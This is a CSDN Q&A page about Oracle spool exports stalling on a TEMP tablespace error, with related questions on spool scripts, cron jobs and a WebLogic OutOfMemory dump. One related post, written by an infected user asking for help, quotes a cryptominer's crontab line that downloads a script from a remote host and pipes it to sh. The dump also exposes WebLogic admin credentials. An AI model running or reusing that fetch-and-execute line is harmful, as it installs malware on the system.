使用spool抽取oracle数据时,只能抽取少量数据

       最近在工作中需要使用spool对远程oracle数据库进行表数据的抽取;
但是在实际工作中发现spool只能抽取到十几条数据(表中的数据量为千万级);
查询的数据量一多就直接卡住;
spool相关语句:
图片说明
然后对sql进行分析,字段是共64个,发现当限制rownum<20时,数据根本查询不出来。但是如果限制rownum<10,数据就可以查询出来的,spool也能够抽取到相关数据;
同样如果减少查询的列数也是可以查询到并抽取出来(rownum<20行的情况)
       鉴于该情况怀疑时oracle的临时表空间小;为了验证该想法,本人对该表作排序查询,发现报错;
图片说明
报错信息:ORA-01652: unable to extend temp segment by 32 in tablespace TEMP
意思是指temp表空间无法自动扩展temp段。这种问题一般有两种原因:一是临时表空间空间太小,二是不能自动扩展。
然后查询临时表空间的使用情况:图片说明
结果显示,临时表空间可使用有3.9G;
现本人困惑的有:
1、同一个sql,为什么限制rownum数不同会存在这种情况;10条能查询处来,而20条却查询不出来;
2、究竟是否是因为临时表空间过小?? 还是说时其它因素导致的??

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
oracle spool定时导出数据脚本 周末无法导出 求解啊
定时任务定时每天凌晨3点导出数据,刚开始几天都正常导出,一到周天就导出个空文件了,sql测试过当天是有数据的,环境变量打印出来也是正常的,求解啊: 定时任务: #!/bin/bash . /home/unpay/etc/.profile echo "test"$DBI_CONNSTR export NLS_LANG="SIMPLIFIED CHINESE_CHINA.ZHS16GBK" /s01/oracle/app/oracle/product/11.2.0/dbhome_1/bin/sqlplus $DBI_CONNSTR << EOF @/home/unpay/sbin/lssql.txt; EOF cd /home/unpay/tmp/TransFile/czzh if [! -f result.txt ]; then echo "no file exits" exit 1 fi cp -rf result.txt test.txt sed /^$/d result.txt > dxe.txt ftp -n<<! open ***.**.***.** user elink ******* binary prompt off cd czzhgl/$(date +%Y%m%d) mput dxe.txt close bye ! mv /home/unpay/tmp/TransFile/czzh/dxe.txt /home/unpay/tmp/TransFile/czzh/$(date +%Y%m%d).txt rm -rf /home/unpay/tmp/TransFile/czzh/result.txt lssql.txt: set trimspool on; set linesize 1000; set pagesize 2000; set newpage 1; set heading off; set term off; set echo off; set feed off; spool /home/unpay/tmp/TransFile/czzh/result.txt; select decode(txn_dir,1,rcv_brno,2,snd_brno,null)||'|'||decode(txn_dir,1,rcv_st_brno,2,snd_st_brno,null)||'|'||decode(txn_dir,1,rcv_ brname,2,snd_brname,null) from srpay_cnaps_txn where case when txn_dir='1' and act_status='01' and biz_type_code!='A105' and msg_no !='007' then 1 when txn_dir='2' and (( msg_no not in ('141','253') and act_status='02' ) or ( msg_no in ('141','253') and act_ status='01')) then 1 else 0 end=1 and pboc_status = 'PR04' and work_date = to_char(sysdate-1,'YYYYMMDD'); spool off;
oracle spool导出excel文件如何转为2003版本
Oracle spool导出excel数据后,生成的文件是2007版本的,原来的程序导入不进去,有没有方法能直接生成2003版本的文件,或者在linux上,自动把2007版本的xls文件转换为2003
从Oracle数据库导出千万数据到txt文件使用什么方式好?
我自己是使用的spool工具导出,但是效率太低,而且还总是出现TNS问题, set trimspool on set linesize 300 set pagesize 0 set newpage 0 set heading off set term off spool D:\outdata\sup_commission.txt select id || chr(9) || supplier_code from t_oil_supplier_commission a where a.end_date is null or a.end_date >= date'2014-05-01'; spool off exit * 1. 希望能找到一个高效导入数据的方法,由于数据最终是要导入到linux进行MapReduce运算,所以有直接导入到Linux下的方法也行,谢谢!
shell执行sqlplus 无法截获oracle的报错?
#!/bin/bash #连接数据库函数 sqlplus -S $etl_user/$etl_pwd@$etl_tns << EOF set heading off set feedback off set pagesize 0 set verify off set echo off set line 10000 set trimspool on set trimout on; set termout off; spool ${json_file} whenever sqlerror exit sql.sqlcode @${varsql} spool off EOF num2="$?" if [ ${num2} -eq 0 ];then #创建文件 echo "执行数据调度成功" else rm -rf ${json_file} echo "执行数据调度失败,退出" exit 255 fi 不会打印出‘执行数据调度失败,退出’,直接退出脚本了
windows server 2003 R2 enterprise edition安装打印机驱动,显示“无法安装X86驱动程序。操作无法完成”,是什么问题?
两台同样的服务器(windows server 2003 R2 enterprise edition),安装同样的打印机驱动,一台可以安装,另外一台显示“无法安装X86驱动程序。操作无法完成”,无法安装的这台服务器是什么问题? 重启过打印服务,c:\windows\system32\spool\printers\下无文件![图片说明](https://img-ask.csdn.net/upload/201912/17/1576549618_813071.jpg)
求教大神,java调用oracle把数据库记录下载到本地的工程
![图片说明](https://img-ask.csdn.net/upload/201512/22/1450784336_406911.png) 如上图,已经用java调用dos命令行进入sql界面,现在如何编写java代码来执行以下:sset linesize 999 set pagesize 999 spool XX_EVA_RAROC_PKG.sql select text from all_source where name='XX_EVA_RAROC_PKG' order by line; spool off; 用java直接连数据库是否也可行,求教大神提供思路,有代码就更好了,谢谢
centos7 中毒挖矿木马,找不到进程找不到脚本位置,求帮忙~
1. top无占用大量CPU的进程,内存正常。 2. 目前只有crontab相关文件里面存在脚本命令(如/var/spool/cron/root; /var/spool/cron/crontabs/root; /etc/crontab; /etc/cron.d/root; /etc/bashrc ) # */30 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh 3. crontab -l 查看有个定时任务,删不掉,2中的文件无法删除,即使删除也会再次生成。 # (*/15 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh) 4. 按照定时任务crul网址打开的是个脚本: ![图片说明](https://img-ask.csdn.net/upload/201911/25/1574649645_275695.png) 6. 发现病毒文件/usr/bin/b1e06d5d739eeb,不知是什么文件,打开乱码,即使删除也会再次生成。 7. 开机自启项有sshservice文件,改文件有配置指向/usr/bin/b1e06d5d739eeb ![图片说明](https://img-ask.csdn.net/upload/201911/25/1574649980_449868.png) 8. 亡羊补牢,目前已经关闭redis,做了端口和IP限制,改了ssh端口和密码,停用了curl和wget命令,伪造假文件/usr/bin/b1e06d5d739eeb(伪造的文件一直为空),但是一直找不到该病毒的进程和脚本位置,希望大佬们帮忙分析~
xshell执行脚本,spool打印输出信息,如何去除所有提示信息(包括查找到的数据)
![去除查出来的数据](https://img-ask.csdn.net/upload/201807/20/1532080427_607235.png) 脚本内容如下 ``` #!/bin/sh clear echo "connect Database" echo "Please Enter UserName ->"|tr -d "\012" read _USER echo "Please Enter Password ->"|tr -d "\012" read _PWD main() { sqlplus -s ${_USER}/${_PWD} << EOF set trimspool on set linesize 10000 set pagesize 0 set newpage 1 set heading off set term off alter session set nls_date_format='YYYY-MM-DD HH24:MI:SS'; spool /home/oracle/wh/tt.txt; select PERSON_ID||' '||CLAIM_ID||' '||PERSON_PAY_TYPE||' '||ESTIMATE_AMOUNT||' '||PERSON_PROPERTY||' '||TRAFFIC_TYPE||' '||CHECKER_NAME||' '||CHECKER_CODE||' '||CHECKER_CERTICODE||' '||CHECK_START_TIME||' '||CHECK_END_TIME||' '||CHECK_ADDR||' '||CHECK_DES||' '||CREATE_TIME||' '||UPDATE_TIME from ma_06; spool off / EXIT 3; EOF } main ```
怎样验证spool中的sql语句是否执行成功
在linux环境下,执行一个sh脚本,里面包含了spool,里面包含查询语句,将查询结果指定到了一个txt文件,然后我需要知道这个语句是否执行成功。然后再导到另外的日志txt里面去。 求大神解决,或者推荐别的方法。
centos crond不执行shell
首先restart_mysql.sh文件如下 ``` # !/bin/sh pidof mysqld >/dev/null if [ $? -eq 0 ] then echo "running...">> ./mysql_log.txt else echo " mysql server was stopped">> ./mysql_log.txt service mysql start fi ``` crontab -e 进入编辑如下 ``` */2 * * * * /var/spool/cron/restart_mysql.sh ``` 接着 ``` service crond restart ```两分钟后去看 mysql_log.txt 是空的, 但是直接在该目录下 ./restart_mysql.sh之后去查看mysql_log.txt,能看到增加了一条信息。。。
执行source /etc/profile 报错,很多命令不可使用,怎么解决?
执行source /etc/profile 报错,很多命令不可使用 ``` # /etc/profile # System wide environment and startup programs, for login setup # Functions and aliases go in /etc/bashrc # It's NOT a good idea to change this file unless you know what you # are doing. It's much better to create a custom.sh shell script in # /etc/profile.d/ to make custom changes to your environment, as this # will prevent the need for merging in future updates. pathmunge () { case ":${PATH}:" in *:"$1":*) ;; *) if [ "$2" = "after" ] ; then PATH=$PATH:$1 else PATH=$1:$PATH fi esac } if [ -x /usr/bin/id ]; then if [ -z "$EUID" ]; then # ksh workaround EUID=`/usr/bin/id -u` UID=`/usr/bin/id -ru` fi USER="`/usr/bin/id -un`" LOGNAME=$USER MAIL="/var/spool/mail/$USER" fi # Path manipulation if [ "$EUID" = "0" ]; then pathmunge /usr/sbin pathmunge /usr/local/sbin else pathmunge /usr/local/sbin after pathmunge /usr/sbin after fi HOSTNAME=`/usr/bin/hostname 2>/dev/null` HISTSIZE=1000 if [ "$HISTCONTROL" = "ignorespace" ] ; then export HISTCONTROL=ignoreboth else export HISTCONTROL=ignoredups fi export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE HISTCONTROL # By default, we want umask to get set. This sets it for login shell # Current threshold for system reserved uid/gids is 200 # You could check uidgid reservation validity in # /usr/share/doc/setup-*/uidgid file if [ $UID -gt 199 ] && [ "`/usr/bin/id -gn`" = "`/usr/bin/id -un`" ]; then umask 002 else umask 022 fi for i in /etc/profile.d/*.sh /etc/profile.d/sh.local ; do if [ -r "$i" ]; then if [ "${-#*i}" != "$-" ]; then . "$i" else . "$i" >/dev/null fi fi done unset i unset -f pathmunge if [ $USER = "oracle" ]; then if [ $SHELL = "/bin/ksh" ]; then ulimit -p 16384 ulimit -n 65536 else ulimit -u 16384 -n 65536 fi fi export JAVA_HOME=/usr/local/apps/jdk1.8/jdk1.8.0_161 export PATH=$JAVA_HOME/bin:$PATH export HADOOP_HOME=/usr/local/apps/hadoop-2.8.4 export PATH=$PATH:$JAVA_HOME/bin:$HADOOP_HOME/bin:$HADOOP_HOME/sbin export ZOOKEEPER_HOME=/usr/local/apps/zookeeper-3.4.7 export PATH=$PATH:$ZOOKEEPER_HOME/bin export HBASE_HOME=/usr/local/apps/hbase-1.1.2 export PATH=$PATN:$HBASE_HOME/bin:$HBASE_HOME/conf export KAFKA_HOME=/usr/local/apps/kafka_2.11-0.10.2.1 export PATH=$PATH:$KAFKA_HOME/bin export HIVE_HOME=/usr/local/apps/apache-hive-1.2.0-bin export PATH=$PATH:$HIVE_HOME/bin export CLASS_PATH=$CALSSPATH:$HIVE_HOME/lib export SCALA_HOME=/usr/local/apps/scala-2.11.8 export PATH=$PATH:$SCALA_HOME/bin export SPARK_HOME=/usr/local/apps/spark-2.2.0-bin-hadoop2.7 export PATH=$PATH:$SPARK_HOME/bin:$SPARK_HOME/sbin export PATH=$PATH:/usr/local/mysql//bin<br>source /etc/profile export ODBCINI=/etc/odbc.ini export ODBCSYSINI=/etc export MAVEN_HOME=/usr/local/apps/apache-maven-3.6.1 export PATH=$PATH:$MAVEN_HOME/bin export SQOOP_HOME=/usr/local/apps/sqoop-1.4.6 export PATH=$PATH:$SQOOP_HOME/bin ``` ![图片说明](https://img-ask.csdn.net/upload/201908/01/1564650725_86379.jpg)
dos的bat执行%time%时间不会更新
ping.bat文件为: @echo off (for /f "delims=" %%i in (hosts1.txt) do ( echo ping %%i @ %date% %time% ping %%i ))>>tracert1.log echo 跟踪结束 exit ``` host1.txt文件为 www.baidu.com www.sina.com.cn 执行ping.bat之后,时间不会更新: ping www.baidu.com @ 2019-05-30 17:08:52.17 正在 Ping www.a.shifen.com [183.232.231.172] 具有 32 字节的数据: 请求超时。 请求超时。 请求超时。 请求超时。 183.232.231.172 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失), ping www.sina.com.cn @ 2019-05-30 17:08:52.17 正在 Ping spool.grid.sinaedge.com [112.25.53.229] 具有 32 字节的数据: 请求超时。 请求超时。 请求超时。 请求超时。 112.25.53.229 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失), ``` 请问%time%显示的时间为什么不会更新的?
大神帮忙,java调用sqlplus之后,如何实现多线程
1.java调用sqlplus将数据库信息写入本地sql文件(我用的是spool命令将数据库download到本地) 2.在java环境中使用这个本地sql文件, 即上述2个步骤在一个main函数中完成。 我在实际操作中,第二步操作报的错是找不到这个本地sql文件,我猜想可能是第一步没完成的时候,第二步已经开始执行,所以我想用多线程并发。 我将上面2个步骤用2个进程thread1,thread2,因为步骤2必须等步骤1结束才能执行,所以我调用thread1.start(),thread1.join(),以及thread2.start() 但实际情况是线程1阻塞了,有人说我没用清除sqlplus缓存,求解该如何解决,谢谢!!!
barnyard2.waldo警告,无法读取文件 无法写入数据库
Running in Continuous mode --== Initializing Barnyard2 ==-- Initializing Input Plugins! Initializing Output Plugins! Parsing config file "/etc/snort/barnyard2.conf" +[ Signature Suppress list ]+ ---------------------------- +[No entry in Signature Suppress List]+ ---------------------------- +[ Signature Suppress list ]+ Barnyard2 spooler: Event cache size set to [2048] Log directory = /var/log/barnyard2 INFO database: Defaulting Reconnect/Transaction Error limit to 10 INFO database: Defaulting Reconnect sleep time to 5 second [CacheSynchronize()],INFO: No system was found in cache (from signature map file), will not process or synchronize informations found in the database database: compiled support for (mysql) database: configured to use mysql database: schema version = 107 database: host = localhost database: user = snort database: database name = snort database: sensor name = ubuntu:NULL database: sensor id = 1 database: sensor cid = 2 database: data encoding = hex database: detail level = full database: ignore_bpf = no database: using the "log" facility --== Initialization Complete ==-- ______ -*> Barnyard2 <*- / ,,_ \ Version 2.1.14 (Build 337) |o" )~| By Ian Firns (SecurixLive): http://www.securixlive.com/ + '''' + (C) Copyright 2008-2013 Ian Firns <firnsy@securixlive.com> WARNING: Ignoring corrupt/truncated waldofile '/var/log/snort/barnyard2.waldo' Waiting for new spool file ^C*** Caught Int-Signal Barnyard2 exiting database: Closing connection to database "snort" =============================================================================== Record Totals: Records: 0 Events: 0 (0.000%) Packets: 0 (0.000%) Unknown: 0 (0.000%) Suppressed: 0 (0.000%) 。。。。
weblogic内存溢出outofmemory日志分析
软件环境: aix 6.1+weblogic10.3+oracle11 系统每天同时在线人数100左右,数据库的数据量有多张频繁操作的表数据记录在千万以上,主要后台自动处理线程过多。 系统前段时间运行一直正常,只是从7月底出现OOM,最近差不多半个月出现一次。 对weblogic产生的phd文件和javacore文件分析的不太清楚。。。 以下是javacore的日志: ***WARNING*** Java heap is almost exhausted : 0% free Java heap Please enable verbosegc trace and use IBM Pattern Modeling and Analysis Tool(http://www.alphaworks.ibm.com/tech/pmat) to analyze garbage collection activities. If heapdumps are generated at the same time, please use IBM HeapAnalyzer(http://www.alphaworks.ibm.com/tech/heapanalyzer) to analyze Java heap. File name : C:\Users\Wcy\Desktop\20140813\ebills\heapdump\javacore.20140813.091552.10551312.0007.txt Cause of thread dump : Dump Event "systhrow" (00040000) Detail "java/lang/OutOfMemoryError" received Date: 2014/08/13 at 09:16:49 Process ID : Not available Operating System : AIX 6.1 Processor Architecture : ppc Number of Processors : 12 Java version : JRE 1.6.0 IBM J9 2.4 AIX ppc-32 build jvmap3260sr9-20110624_85526 Virtual machine version : VM build 20110624_085526 Just-In-Time(JIT) compiler switch, Ahead-Of-Time (AOT) compiler switch, Compiler version : JIT enabled, AOT enabled - r9_20101028_17488ifx17 Garbage collector version : GC - 20101027_AA Java Heap Information Maximum Java heap size : 1024m Initial Java heap size : 512m Java Home Directory : /usr/java6/jre Java DLL Directory : /usr/java6/jre/bin System Classpath : /usr/java6/jre/lib/vm.jar;/usr/java6/jre/lib/annotation.jar;/usr/java6/jre/lib/beans.jar;/usr/java6/jre/lib/java.util.jar;/usr/java6/jre/lib/jndi.jar;/usr/java6/jre/lib/logging.jar;/usr/java6/jre/lib/security.jar;/usr/java6/jre/lib/sql.jar;/usr/java6/jre/lib/ibmorb.jar;/usr/java6/jre/lib/ibmorbapi.jar;/usr/java6/jre/lib/ibmcfw.jar;/usr/java6/jre/lib/rt.jar;/usr/java6/jre/lib/charsets.jar;/usr/java6/jre/lib/resources.jar;/usr/java6/jre/lib/ibmpkcs.jar;/usr/java6/jre/lib/ibmcertpathfw.jar;/usr/java6/jre/lib/ibmjgssfw.jar;/usr/java6/jre/lib/ibmjssefw.jar;/usr/java6/jre/lib/ibmsaslfw.jar;/usr/java6/jre/lib/ibmjcefw.jar;/usr/java6/jre/lib/ibmjgssprovider.jar;/usr/java6/jre/lib/ibmjsseprovider2.jar;/usr/java6/jre/lib/ibmcertpathprovider.jar;/usr/java6/jre/lib/ibmxmlcrypto.jar;/usr/java6/jre/lib/management-agent.jar;/usr/java6/jre/lib/xml.jar;/usr/java6/jre/lib/jlm.jar;/usr/java6/jre/lib/javascript.jar; User Arguments : -Xjcl:jclscar_24 -Dcom.ibm.oti.vm.bootstrap.library.path=/usr/java6/jre/lib/ppc -Dsun.boot.library.path=/usr/java6/jre/lib/ppc -Djava.library.path=/usr/java6/jre/lib/ppc:/usr/java6/jre/lib/ppc:/usr/java6/jre/lib/ppc/j9vm:/usr/java6/jre/lib/ppc/j9vm:/usr/java6/jre/lib/ppc:/usr/java6/jre/../lib/ppc::/home/ebills/bea/wlserver_10.3/server/native/aix/ppc:/usr/lib:/usr/lib -Djava.home=/usr/java6/jre -Djava.ext.dirs=/usr/java6/jre/lib/ext -Duser.dir=/weblogic/ebills/bea/user_projects/domains/nbdomain _j2se_j9=71168 0xF0A89414 -Djava.runtime.version=pap3260sr9fp2-20110627_03 (SR9 FP2) -Xdump -Djava.class.path=:/home/ebills/bea/patch_wls1030/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/home/ebills/bea/patch_cie660/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/java6/lib/tools.jar:/home/ebills/bea/wlserver_10.3/server/lib/weblogic_sp.jar:/home/ebills/bea/wlserver_10.3/server/lib/weblogic.jar:/home/ebills/bea/modules/features/weblogic.server.modules_10.3.0.0.jar:/home/ebills/bea/wlserver_10.3/server/lib/webservices.jar:/home/ebills/bea/modules/org.apache.ant_1.6.5/lib/ant-all.jar:/home/ebills/bea/modules/net.sf.antcontrib_1.0.0.0_1-0b2/lib/ant-contrib.jar::/home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbclient57.jar:/home/ebills/bea/wlserver_10.3/server/lib/xqrl.jar:: -Xms512m -Xmx1024m -da -Dplatform.home=/home/ebills/bea/wlserver_10.3 -Dwls.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.management.discover=true -Dwlw.iterativeDev=false -Dwlw.testConsole=false -Dwlw.logErrorsToConsole= -Dclient.encoding.override=GBK -Dfile.encoding=GBK -Duser.language=zh -Duser.region=CN -Ddefault.client.encoding=GBK -Dweblogic.threadpool.MinPoolSize=200 -Dweblogic.threadpool.MaxPoolSize=500 -Djava.awt.headless=true -Dweblogic.ext.dirs=/home/ebills/bea/patch_wls1030/profiles/default/sysext_manifest_classpath:/home/ebills/bea/patch_cie660/profiles/default/sysext_manifest_classpath -Dweblogic.management.username=weblogic -Dweblogic.management.password=weblogic -Dweblogic.Name=AdminServer -Djava.security.policy=/home/ebills/bea/wlserver_10.3/server/lib/weblogic.policy -Dsun.java.command=weblogic.Server -Dsun.java.launcher=SUN_STANDARD _port_library 0xF0A89C18 _org.apache.harmony.vmi.portlib 0x3013DE18 User Limit Analysis User Limit Analysis Type Soft Limit Hard Limit RLIMIT_AS unlimited unlimited RLIMIT_CORE unlimited unlimited RLIMIT_CPU unlimited unlimited RLIMIT_DATA 2,147,483,645 bytes unlimited RLIMIT_FSIZE unlimited unlimited RLIMIT_NOFILE 1,024 1,024 RLIMIT_RSS unlimited unlimited RLIMIT_STACK 2,147,483,646 bytes 2,147,483,646 bytes Environment Variables Analysis Environment Variable Environment Variable Value _ /usr/java6/bin/java POST_CLASSPATH :/home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbclient57.jar:/home/ebills/bea/wlserver_10.3/server/lib/xqrl.jar CLUSTER_PROPERTIES -Dweblogic.management.discover=true JAVA_VENDOR IBM LANG Zh_CN PRODUCTION_MODE true DOMAIN_HOME /weblogic/ebills/bea/user_projects/domains/nbdomain LOGIN ebills CLASSPATHSEP : DATABASE_CLASSPATH /home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbclient57.jar CIE660_PATCH_LIBPATH /home/ebills/bea/patch_cie660/profiles/default/native WLS1030_PATCH_EXT_DIR /home/ebills/bea/patch_wls1030/profiles/default/sysext_manifest_classpath POINTBASE_HOME /home/ebills/bea/wlserver_10.3/common/eval/pointbase SSH_TTY /dev/pts/0 debugFlag false MEM_MAX_PERM_SIZE -XX:MaxPermSize=1024m SUN_JAVA_HOME CLCMD_PASSTHRU 1 PATCH_CLASSPATH /home/ebills/bea/patch_wls1030/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/home/ebills/bea/patch_cie660/profiles/default/sys_manifest_classpath/weblogic_patch.jar PATH /home/ebills/bea/wlserver_10.3/server/bin:/home/ebills/bea/modules/org.apache.ant_1.6.5/bin:/usr/java6/jre/bin:/usr/java6/bin:/usr/bin:/etc:/usr/sbin:/usr/ucb:/home/ebills/bin:/usr/bin/X11:/sbin:/usr/java6/bin:/usr/java6/jre/bin:. FEATURES_DIR /home/ebills/bea/modules/features CIE660_PATCH_PATH /home/ebills/bea/patch_cie660/profiles/default/native verboseLoggingFlag false ANT_CONTRIB /home/ebills/bea/modules/net.sf.antcontrib_1.0.0.0_1-0b2 PATCH_PATH /home/ebills/bea/patch_wls1030/profiles/default/native:/home/ebills/bea/patch_cie660/profiles/default/native BEA_JAVA_HOME JAVA_VM ARDIR /home/ebills/bea/wlserver_10.3/server/lib LC__FASTMSG true POINTBASE_CLASSPATH :/home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbembedded57.jar:/home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbclient57.jar SSH_AUTH_SOCK /tmp/ssh-IbX9437420/agent.9437420 CIE660_PATCH_CLASSPATH /home/ebills/bea/patch_cie660/profiles/default/sys_manifest_classpath/weblogic_patch.jar JAVA_PROFILE JAVA_DEBUG CLASSPATH :/home/ebills/bea/patch_wls1030/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/home/ebills/bea/patch_cie660/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/java6/lib/tools.jar:/home/ebills/bea/wlserver_10.3/server/lib/weblogic_sp.jar:/home/ebills/bea/wlserver_10.3/server/lib/weblogic.jar:/home/ebills/bea/modules/features/weblogic.server.modules_10.3.0.0.jar:/home/ebills/bea/wlserver_10.3/server/lib/webservices.jar:/home/ebills/bea/modules/org.apache.ant_1.6.5/lib/ant-all.jar:/home/ebills/bea/modules/net.sf.antcontrib_1.0.0.0_1-0b2/lib/ant-contrib.jar::/home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbclient57.jar:/home/ebills/bea/wlserver_10.3/server/lib/xqrl.jar:: LOGNAME ebills SAMPLES_HOME /home/ebills/bea/wlserver_10.3/samples MAIL /usr/spool/mail/ebills enableHotswapFlag POINTBASE_TOOLS /home/ebills/bea/wlserver_10.3/common/eval/pointbase/lib/pbtools57.jar LOCPATH /usr/lib/nls/loc MODULES_DIR /home/ebills/bea/modules PATCH_LIBPATH /home/ebills/bea/patch_wls1030/profiles/default/native:/home/ebills/bea/patch_cie660/profiles/default/native PATHSEP : WLS1030_PATCH_PATH /home/ebills/bea/patch_wls1030/profiles/default/native WLS1030_PATCH_CLASSPATH /home/ebills/bea/patch_wls1030/profiles/default/sys_manifest_classpath/weblogic_patch.jar iterativeDevFlag false doExitFlag false USER ebills SERVER_NAME AdminServer AUTHSTATE compat SERVER_CLASS weblogic.Server PRE_CLASSPATH JAVA_PROPERTIES -Dplatform.home=/home/ebills/bea/wlserver_10.3 -Dwls.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.management.discover=true BEA_HOME /home/ebills/bea MEM_DEV_ARGS SHELL /usr/bin/ksh ODMDIR /etc/objrepos OMNIORB_CONFIG /home/gjyw/ebills/config/ecorba.cfg JAVA_HOME /usr/java6 testConsoleFlag false WLS_HOME /home/ebills/bea/wlserver_10.3/server WLS1030_PATCH_LIBPATH /home/ebills/bea/patch_wls1030/profiles/default/native CIE660_PATCH_EXT_DIR /home/ebills/bea/patch_cie660/profiles/default/sysext_manifest_classpath JAVA_OPTIONS -da -Dplatform.home=/home/ebills/bea/wlserver_10.3 -Dwls.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.management.discover=true -Dwlw.iterativeDev=false -Dwlw.testConsole=false -Dwlw.logErrorsToConsole= -Dclient.encoding.override=GBK -Dfile.encoding=GBK -Duser.language=zh -Duser.region=CN -Ddefault.client.encoding=GBK -Dweblogic.threadpool.MinPoolSize=200 -Dweblogic.threadpool.MaxPoolSize=500 -Djava.awt.headless=true -Dweblogic.ext.dirs=/home/ebills/bea/patch_wls1030/profiles/default/sysext_manifest_classpath:/home/ebills/bea/patch_cie660/profiles/default/sysext_manifest_classpath -Dweblogic.management.username=weblogic -Dweblogic.management.password=weblogic HOME /home/ebills MEM_ARGS -Xms512m -Xmx1024m WEBLOGIC_EXTENSION_DIRS /home/ebills/bea/patch_wls1030/profiles/default/sysext_manifest_classpath:/home/ebills/bea/patch_cie660/profiles/default/sysext_manifest_classpath ANT_HOME /home/ebills/bea/modules/org.apache.ant_1.6.5 FILEDIR /home/gjyw/ebills/acct SSH_CONNECTION 10.100.67.22 3456 10.100.133.2 22 SSH_CLIENT 10.100.67.22 3456 22 WEBLOGIC_CLASSPATH /home/ebills/bea/patch_wls1030/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/home/ebills/bea/patch_cie660/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/java6/lib/tools.jar:/home/ebills/bea/wlserver_10.3/server/lib/weblogic_sp.jar:/home/ebills/bea/wlserver_10.3/server/lib/weblogic.jar:/home/ebills/bea/modules/features/weblogic.server.modules_10.3.0.0.jar:/home/ebills/bea/wlserver_10.3/server/lib/webservices.jar:/home/ebills/bea/modules/org.apache.ant_1.6.5/lib/ant-all.jar:/home/ebills/bea/modules/net.sf.antcontrib_1.0.0.0_1-0b2/lib/ant-contrib.jar TERM vt100 MAILMSG [YOU HAVE NEW MAIL] POINTBASE_FLAG false LONG_DOMAIN_HOME /weblogic/ebills/bea/user_projects/domains/nbdomain PWD /weblogic/ebills/bea/user_projects/domains/nbdomain TZ Asia/Shanghai MEM_PERM_SIZE -XX:PermSize=512m BZJFILEDIR /weblogic/ebills/gjyw/ebills/ebillsData/DepositAcct WL_HOME /home/ebills/bea/wlserver_10.3 DEBUG_PORT 8453 A__z ! LOGNAME IBM_JVM_AIXTHREAD_SCOPE_NEW_VALUE S AIXTHREAD_SCOPE S IBM_JVM_CHANGED_ENVVARS_10551312 AIXTHREAD_SCOPE,NULLPTR,CORE_MMAP,LDR_CNTRL IBM_JVM_NULLPTR_NEW_VALUE NOSEGV NULLPTR NOSEGV IBM_JVM_CORE_MMAP_NEW_VALUE yes CORE_MMAP yes IBM_JVM_LDR_CNTRL_NEW_VALUE MAXDATA=0XA0000000@DSA LDR_CNTRL MAXDATA=0XA0000000@DSA NLSPATH /usr/lib/nls/msg/%L/%N:/usr/lib/nls/msg/%L/%N.cat LIBPATH /usr/java6/jre/lib/ppc:/usr/java6/jre/lib/ppc/j9vm:/usr/java6/jre/lib/ppc/j9vm:/usr/java6/jre/lib/ppc:/usr/java6/jre/../lib/ppc::/home/ebills/bea/wlserver_10.3/server/native/aix/ppc:/usr/lib:/usr/java6/jre/lib/ppc/headless IBM_JAVA_COMMAND_LINE /usr/java6/bin/java -Xms512m -Xmx1024m -da -Dplatform.home=/home/ebills/bea/wlserver_10.3 -Dwls.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.home=/home/ebills/bea/wlserver_10.3/server -Dweblogic.management.discover=true -Dwlw.iterativeDev=false -Dwlw.testConsole=false -Dwlw.logErrorsToConsole= -Dclient.encoding.override=GBK -Dfile.encoding=GBK -Duser.language=zh -Duser.region=CN -Ddefault.client.encoding=GBK -Dweblogic.threadpool.MinPoolSize=200 -Dweblogic.threadpool.MaxPoolSize=500 -Djava.awt.headless=true -Dweblogic.ext.dirs=/home/ebills/bea/patch_wls1030/profiles/default/sysext_manifest_classpath:/home/ebills/bea/patch_cie660/profiles/default/sysext_manifest_classpath -Dweblogic.management.username=weblogic -Dweblogic.management.password=weblogic -Dweblogic.Name=AdminServer -Djava.security.policy=/home/ebills/bea/wlserver_10.3/server/lib/weblogic.policy weblogic.Server Free Java heap size: 11.89 KB Allocated Java heap size: 1 GB Memory Segment Analysis Memory Segment Analysis Memory Type # of Segments Used Memory(bytes) Used Memory(%) Free Memory(bytes) Free Memory(%) Total Memory(bytes) Internal 431 0 0 28,332,996 100 28,332,996 Object(reserved) 1 1,073,741,824 100 0 0 1,073,741,824 Class 17,984 174,683,076 96.44 6,441,464 3.56 181,124,540 JIT Code Cache 7 58,720,256 100 0 0 58,720,256 JIT Data Cache 4 26,811,512 79.9 6,742,920 20.1 33,554,432 Overall 18,427 1,333,956,668 96.98 41,517,380 3.02 1,375,474,048 Current Thread : Thread Name [ACTIVE] ExecuteThread: '119' for queue: 'weblogic.kernel.Default (self-tuning)' State Runnable Java Stack at java/lang/String. (String.java:350(Compiled Code)) at java/lang/Throwable.printStackTrace(Throwable.java:369(Compiled Code)) at java/lang/Throwable.printStackTrace(Throwable.java:212(Compiled Code)) at 